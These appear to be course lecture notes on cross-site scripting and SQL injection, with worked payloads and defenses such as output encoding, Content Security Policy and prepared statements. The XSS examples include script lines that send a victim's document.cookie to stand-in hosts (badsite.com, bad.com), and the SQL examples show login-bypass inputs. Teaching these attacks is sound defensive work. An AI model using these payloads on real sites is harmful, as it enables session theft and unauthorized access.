XSS and SQL injection
Questions on the readings
The readings today are from Computer Security and the Internet, Chapter 9, sections 9.6, 9.7.
XSS: cross-site scripting
-
injecting malicious scripts into HTML tags or web pages
- rendering the HTML causes the script to be executed
Stored or persistent XSS
Here is a picture of my dog <img id="mydogpic" src="dog.jpg" /><script> document.getElementById("mydogpic").src = "http://badsite.com/dog.jpg?arg1=" + document.cookie;</script>- input from an attacker is stored on a website (e.g. in a database) without being made safe to render and is then retrieved by the victim
- possible on any site that allows users to upload content (e.g. social media, discussion forums)
- in the example above, the attacker changes the
srcattribute of the image to be a URL that (a) goes to the attacker’s site and (b) includes all of the user’s cookies for the original site - since images are loaded automatically, when a user visits a page with this content, the browser will automatically send that user’s cookies to the attacker
Reflected (non-persistent) XSS
Our favorite site for deals is www.good.com: <a href=’http://www.good.com/ <script>document.location="http://bad.com/dog.jpg?arg1="+document.cookie; </script>’> Click here </a>- attacker input is immediately returned, e.g. in an error message or search results, without the attacker input being made safe to render
- the example above takes advantage of a site that returns 404 errors with
File-not-found: filepath-requested - when the user clicks the link, the browser will visit the URL and the good site will return a 404 page:
File-not-found:<script> document.location="http://bad.com/ dog.jpg?arg1=" + document.cookie;</script>- this sends the user to
bad.com, and the attacker also gets the user’s cookies for the good site
XSS impacts
-
once you allow an attacker to inject JavaScript, they can do a lot
- browser redirection
- access cookies
- access browser-stored data for a website
- rewrite the document being displayed
- exploit browser vulnerabilities
Defenses
- sanitize input by removing tags
- a good framework (e.g. React, Vue) does this for you
- sanitize output by using encoding, e.g.
<for left angle bracket - Content Security Policy
- server can specify which domains are allowed to execute scripts
SQL Injection
-
why a vulnerability exists
- databases store information in tables
- scripts construct SQL queries
- scripts use input from cookies, variables, users
-
SQL injection
- crafting input so an attacker chooses an SQL command to be executed
-
attack types
- extracting data from the database
- modifying the database
- unauthorized account access
- denial of service
Example attacks
- imagine a server constructing a SQL query using input:
query = "SELECT * FROM pswdtab WHERE username=’" + un + "’ AND password=’" + pw + "’";- normal use:
SELECT * FROM pswdtab WHERE username=’sam’ AND password=’abcde’- attacker sends username =
“root’ --”:
SELECT * FROM pswdtab WHERE username=’root’ -- AND···-
note,
--indicates a comment, so the rest of the SQL statement is ignored -
attacker sends username = ` “’OR 1=1 —”:
SELECT * FROM pswdtab WHERE username=’’ OR 1=1 --- note, this provides an OR condition that is always true
Defenses
-
OWASP SQL Injection Prevention Cheat Sheet recommends prepared statements
- prepare the query and then give variables to SQL database
- binding parameters to a SQL query will allow the database to automatically handle escaping of characters
-
Java example:
// This should REALLY be validated tooString custname = request.getParameter("customerName");// Perform input validation to detect attacksString query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement pstmt = connection.prepareStatement( query );pstmt.setString( 1, custname);ResultSet results = pstmt.executeQuery( );- Rust example:
// Input from CLI args but could be anythinglet username = std::env::args().last().unwrap();
// Using built-in macros (compile time checks)let users = sqlx::query_as!( User, "SELECT * FROM users WHERE name = ?", username ) .fetch_all(&pool) .await .unwrap();
// Using built-in functionslet users: Vec<User> = sqlx::query_as::<_, User>( "SELECT * FROM users WHERE name = ?" ) .bind(&username) .fetch_all(&pool) .await .unwrap();- can also use safely-constructed stored procedures, which are similar